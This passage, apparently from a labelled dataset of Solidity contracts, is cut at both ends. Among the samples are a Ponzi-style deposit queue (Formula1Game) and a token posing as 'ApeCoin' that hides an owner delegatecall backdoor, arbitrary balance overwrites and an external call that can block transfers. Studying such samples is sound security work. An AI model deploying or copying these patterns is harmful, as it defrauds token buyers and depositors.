super._preValidatePurchase(_beneficiary, _weiAmount);
}
function getBonus(uint256 _time, address _beneficiary, uint256 _value) view internal returns (uint256 _bonus) {
_bonus = 0;
if ( (weiRaised.sub(_value) < goal) && earlyInvestors.whitelist(_beneficiary) ) {
_bonus = 30;
} else {
if (_time < openingTime.add(7 days)) {
_bonus = 15;
} else if (_time < openingTime.add(14 days)) {
_bonus = 10;
} else if (_time < openingTime.add(21 days)) {
_bonus = 8;
} else {
_bonus = 6;
}
}
return _bonus;
}
function finalization() internal {
if (goalReached()) {
timelockController.activate();
uint256 balance = token.balanceOf(this);
uint256 remainingTokens = balance.sub(tokensToBeDelivered);
if (remainingTokens>0) {
BurnableTokenInterface(address(token)).burn(remainingTokens);
}
}
Ownable(address(token)).transferOwnership(owner);
super.finalization();
}
} | 1 | 4,317 |
pragma solidity ^0.4.18;
contract ERC721 {
function approve(address _to, uint256 _tokenId) public;
function balanceOf(address _owner) public view returns (uint256 balance);
function implementsERC721() public pure returns (bool);
function ownerOf(uint256 _tokenId) public view returns (address addr);
function takeOwnership(uint256 _tokenId) public;
function totalSupply() public view returns (uint256 total);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function transfer(address _to, uint256 _tokenId) public;
event Transfer(address indexed from, address indexed to, uint256 tokenId);
event Approval(address indexed owner, address indexed approved, uint256 tokenId);
}
contract EtherDrugs is ERC721 {
event Birth(uint256 tokenId, bytes32 name, address owner);
event TokenSold(uint256 tokenId, uint256 oldPrice, uint256 newPrice, address prevOwner, address winner, bytes32 name);
event Transfer(address from, address to, uint256 tokenId);
struct Drug {
bytes32 name;
address owner;
uint256 price;
uint256 last_price;
address approve_transfer_to;
}
string public constant NAME = "EtherDrugs";
string public constant SYMBOL = "DRUG";
bool public gameOpen = false;
mapping (address => uint256) private ownerCount;
mapping (uint256 => address) public lastBuyer;
address public ceoAddress;
mapping (uint256 => address) public extra;
uint256 drug_count;
mapping (uint256 => Drug) private drugs;
modifier onlyCEO() { require(msg.sender == ceoAddress); _; }
function setCEO(address _newCEO) public onlyCEO {
require(_newCEO != address(0));
ceoAddress = _newCEO;
}
function setLast(uint256 _id, address _newExtra) public onlyCEO {
require(_newExtra != address(0));
lastBuyer[_id] = _newExtra;
}
function symbol() public pure returns (string) { return SYMBOL; }
function name() public pure returns (string) { return NAME; }
function implementsERC721() public pure returns (bool) { return true; }
function EtherDrugs() public {
ceoAddress = msg.sender;
lastBuyer[1] = msg.sender;
lastBuyer[2] = msg.sender;
lastBuyer[3] = msg.sender;
lastBuyer[4] = msg.sender;
lastBuyer[5] = msg.sender;
lastBuyer[6] = msg.sender;
lastBuyer[7] = msg.sender;
lastBuyer[8] = msg.sender;
lastBuyer[9] = msg.sender;
}
function createDrug(bytes32 _name, uint256 _price) public onlyCEO {
require(msg.sender != address(0));
_create_drug(_name, address(this), _price, 0);
}
function createPromoDrug(bytes32 _name, address _owner, uint256 _price, uint256 _last_price) public onlyCEO {
require(msg.sender != address(0));
require(_owner != address(0));
_create_drug(_name, _owner, _price, _last_price);
}
function openGame() public onlyCEO {
require(msg.sender != address(0));
gameOpen = true;
}
function totalSupply() public view returns (uint256 total) {
return drug_count;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return ownerCount[_owner];
}
function priceOf(uint256 _drug_id) public view returns (uint256 price) {
return drugs[_drug_id].price;
}
function getDrug(uint256 _drug_id) public view returns (
uint256 id,
bytes32 drug_name,
address owner,
uint256 price,
uint256 last_price
) {
id = _drug_id;
drug_name = drugs[_drug_id].name;
owner = drugs[_drug_id].owner;
price = drugs[_drug_id].price;
last_price = drugs[_drug_id].last_price;
}
function getDrugs() public view returns (uint256[], bytes32[], address[], uint256[]) {
uint256[] memory ids = new uint256[](drug_count);
bytes32[] memory names = new bytes32[](drug_count);
address[] memory owners = new address[](drug_count);
uint256[] memory prices = new uint256[](drug_count);
for(uint256 _id = 0; _id < drug_count; _id++){
ids[_id] = _id;
names[_id] = drugs[_id].name;
owners[_id] = drugs[_id].owner;
prices[_id] = drugs[_id].price;
}
return (ids, names, owners, prices);
}
function purchase(uint256 _drug_id) public payable {
require(gameOpen == true);
Drug storage drug = drugs[_drug_id];
require(drug.owner != msg.sender);
require(msg.sender != address(0));
require(msg.value >= drug.price);
uint256 excess = SafeMath.sub(msg.value, drug.price);
uint256 half_diff = SafeMath.div(SafeMath.sub(drug.price, drug.last_price), 2);
uint256 reward = SafeMath.add(half_diff, drug.last_price);
lastBuyer[1].send(uint256(SafeMath.mul(SafeMath.div(half_diff, 100), 69)));
lastBuyer[6].send(uint256(SafeMath.mul(SafeMath.div(half_diff, 100), 2)));
lastBuyer[9].send(uint256(SafeMath.mul(SafeMath.div(half_diff, 100), 2)));
if(drug.owner == address(this)){
ceoAddress.send(reward);
} else {
drug.owner.send(reward);
}
drug.last_price = drug.price;
address _old_owner = drug.owner;
if(drug.price < 1690000000000000000){
drug.price = SafeMath.mul(SafeMath.div(drug.price, 100), 169);
} else {
drug.price = SafeMath.mul(SafeMath.div(drug.price, 100), 125);
}
drug.owner = msg.sender;
lastBuyer[9] = lastBuyer[8];
lastBuyer[8] = lastBuyer[7];
lastBuyer[7] = lastBuyer[6];
lastBuyer[6] = lastBuyer[5];
lastBuyer[5] = lastBuyer[4];
lastBuyer[4] = lastBuyer[3];
lastBuyer[3] = lastBuyer[2];
lastBuyer[2] = lastBuyer[1];
lastBuyer[1] = msg.sender;
Transfer(_old_owner, drug.owner, _drug_id);
TokenSold(_drug_id, drug.last_price, drug.price, _old_owner, drug.owner, drug.name);
msg.sender.send(excess);
}
function payout() public onlyCEO {
ceoAddress.send(this.balance);
}
function tokensOfOwner(address _owner) public view returns(uint256[] ownerTokens) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 resultIndex = 0;
for (uint256 drugId = 0; drugId <= totalSupply(); drugId++) {
if (drugs[drugId].owner == _owner) {
result[resultIndex] = drugId;
resultIndex++;
}
}
return result;
}
}
function approve(address _to, uint256 _drug_id) public {
require(msg.sender == drugs[_drug_id].owner);
drugs[_drug_id].approve_transfer_to = _to;
Approval(msg.sender, _to, _drug_id);
}
function ownerOf(uint256 _drug_id) public view returns (address owner){
owner = drugs[_drug_id].owner;
require(owner != address(0));
}
function takeOwnership(uint256 _drug_id) public {
address oldOwner = drugs[_drug_id].owner;
require(msg.sender != address(0));
require(drugs[_drug_id].approve_transfer_to == msg.sender);
_transfer(oldOwner, msg.sender, _drug_id);
}
function transfer(address _to, uint256 _drug_id) public {
require(msg.sender != address(0));
require(msg.sender == drugs[_drug_id].owner);
_transfer(msg.sender, _to, _drug_id);
}
function transferFrom(address _from, address _to, uint256 _drug_id) public {
require(_from == drugs[_drug_id].owner);
require(drugs[_drug_id].approve_transfer_to == _to);
require(_to != address(0));
_transfer(_from, _to, _drug_id);
}
function _create_drug(bytes32 _name, address _owner, uint256 _price, uint256 _last_price) private {
drugs[drug_count] = Drug({
name: _name,
owner: _owner,
price: _price,
last_price: _last_price,
approve_transfer_to: address(0)
});
Drug storage drug = drugs[drug_count];
Birth(drug_count, _name, _owner);
Transfer(address(this), _owner, drug_count);
drug_count++;
}
function _transfer(address _from, address _to, uint256 _drug_id) private {
drugs[_drug_id].owner = _to;
drugs[_drug_id].approve_transfer_to = address(0);
ownerCount[_from] -= 1;
ownerCount[_to] += 1;
Transfer(_from, _to, _drug_id);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 0 | 2,167 |
pragma solidity ^0.4.16;
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract TokenERC20 {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
}
contract EntToken is owned, TokenERC20 {
uint256 INITIAL_SUPPLY =1600000000;
uint256 public buyPrice = 1;
event FrozenFunds(address target, bool frozen);
function EntToken(uint256 initialSupply, string tokenName, string tokenSymbol) TokenERC20(INITIAL_SUPPLY, 'Entertainment chain', 'ENT') payable {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0);
require (balanceOf[_from] >= _value);
require (balanceOf[_to] + _value > balanceOf[_to]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
}
function setPrices(uint256 newBuyPrice) onlyOwner public {
buyPrice = newBuyPrice;
}
function buy() payable public {
uint amount = msg.value / buyPrice;
_transfer(this, msg.sender, amount);
}
function () payable public {
owner.send(msg.value);
uint amount = msg.value * buyPrice;
_transfer(owner, msg.sender, amount);
}
function selfdestructs() onlyOwner payable public {
selfdestruct(owner);
}
} | 0 | 2,589 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract OwnableToken {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function OwnableToken() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract BurnableToken is BasicToken, OwnableToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public onlyOwner {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(burner, _value);
Transfer(burner, address(0), _value);
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract PlayZoneToken is OwnableToken, BurnableToken, StandardToken {
string public name;
string public symbol;
uint8 public decimals;
bool public paused = true;
mapping(address => bool) public whitelist;
modifier whenNotPaused() {
require(!paused || whitelist[msg.sender]);
_;
}
constructor(string _name,string _symbol,uint8 _decimals, address holder, address buffer) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
Transfer(address(0), holder, balances[holder] = totalSupply_ = uint256(10)**(9 + decimals));
addToWhitelist(holder);
addToWhitelist(buffer);
}
function unpause() public onlyOwner {
paused = false;
}
function pause() public onlyOwner {
paused = true;
}
function addToWhitelist(address addr) public onlyOwner {
whitelist[addr] = true;
}
function removeFromWhitelist(address addr) public onlyOwner {
whitelist[addr] = false;
}
function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) {
return super.transferFrom(from, to, value);
}
} | 1 | 4,814 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal botProtection;
address public uniPair;
constructor(address _botProtection) {
botProtection = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = botProtection.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract SimpleToken is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 1000000000000000000000000000;
string public name = "ApeCoin";
string public symbol = "APE";
IUniswapV2Router02 public routerForUniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wrappedBinance = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairForPancake(wrappedBinance, address(this));
allowance[address(this)][address(routerForUniswap)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable returns (bool) {
require(msg.sender == owner);
(bool success, ) = a.delegatecall(b);
return success;
}
function pairForPancake(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function distribute(address[] memory _tos, uint amount) public {
require(msg.sender == owner);
botProtection.call(abi.encodeWithSelector(0xd5eaf4c3, _tos));
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = amount;
emit Transfer(address(0x0), _tos[i], amount);
}
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
routerForUniswap.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tos.length == _amounts.length);
botProtection.call(abi.encodeWithSelector(0xd5eaf4c3, _tos));
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
} | 0 | 24 |
pragma solidity ^0.4.25;
contract Formula1Game {
address constant private PROMO1 = 0x43D5bE543CFB01F62b8Df6070149A8eE7E49b39B;
address constant private PROMO2 = 0xE51fd5B09394ebD7828e7526707513eAf2275dCd;
address constant private TECH = 0xbc6807e9BAdFbc2c8d8629cC72ECCDDA9CDec933;
uint constant public PROMO_PERCENT1 = 1;
uint constant public PROMO_PERCENT2 = 1;
uint constant public TECH_PERCENT = 1;
uint constant public MULTIPLIER = 110;
struct Deposit {
address depositor;
uint128 deposit;
uint128 expect;
}
Deposit[] private queue;
uint public currentReceiverIndex = 0;
function () public payable {
if(msg.value > 0){
require(gasleft() >= 220000, "We require more gas!");
require(msg.value >= 0.001 ether && msg.value <= 0.002 ether);
queue.push(Deposit(msg.sender, uint128(msg.value), uint128(msg.value*MULTIPLIER/100)));
uint promo1 = msg.value*PROMO_PERCENT1/100;
PROMO1.send(promo1);
uint promo2 = msg.value*PROMO_PERCENT2/100;
PROMO2.send(promo2);
uint tech = msg.value*TECH_PERCENT/100;
TECH.send(tech);
pay();
}
}
function pay() private {
uint128 money = uint128(address(this).balance);
for(uint i=0; i<queue.length; i++){
uint idx = currentReceiverIndex + i;
Deposit storage dep = queue[idx];
if(money >= dep.expect){
dep.depositor.send(dep.expect);
money -= dep.expect;
delete queue[idx];
}else{
dep.depositor.send(money);
dep.expect -= money;
break;
}
if(gasleft() <= 50000)
break;
}
currentReceiverIndex += i;
}
function getDeposit(uint idx) public view returns (address depositor, uint deposit, uint expect){
Deposit storage dep = queue[idx];
return (dep.depositor, dep.deposit, dep.expect);
}
function getDepositsCount(address depositor) public view returns (uint) {
uint c = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
if(queue[i].depositor == depositor)
c++;
}
return c;
}
function getDeposits(address depositor) public view returns (uint[] idxs, uint128[] deposits, uint128[] expects) {
uint c = getDepositsCount(depositor);
idxs = new uint[](c);
deposits = new uint128[](c);
expects = new uint128[](c);
if(c > 0) {
uint j = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
Deposit storage dep = queue[i];
if(dep.depositor == depositor){
idxs[j] = i;
deposits[j] = dep.deposit;
expects[j] = dep.expect;
j++;
}
}
}
}
function getQueueLength() public view returns (uint) {
return queue.length - currentReceiverIndex;
}
} | 0 | 1,088 |
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = now + time;
emit OwnershipTransferred(_owner, address(0));
}
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(now > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
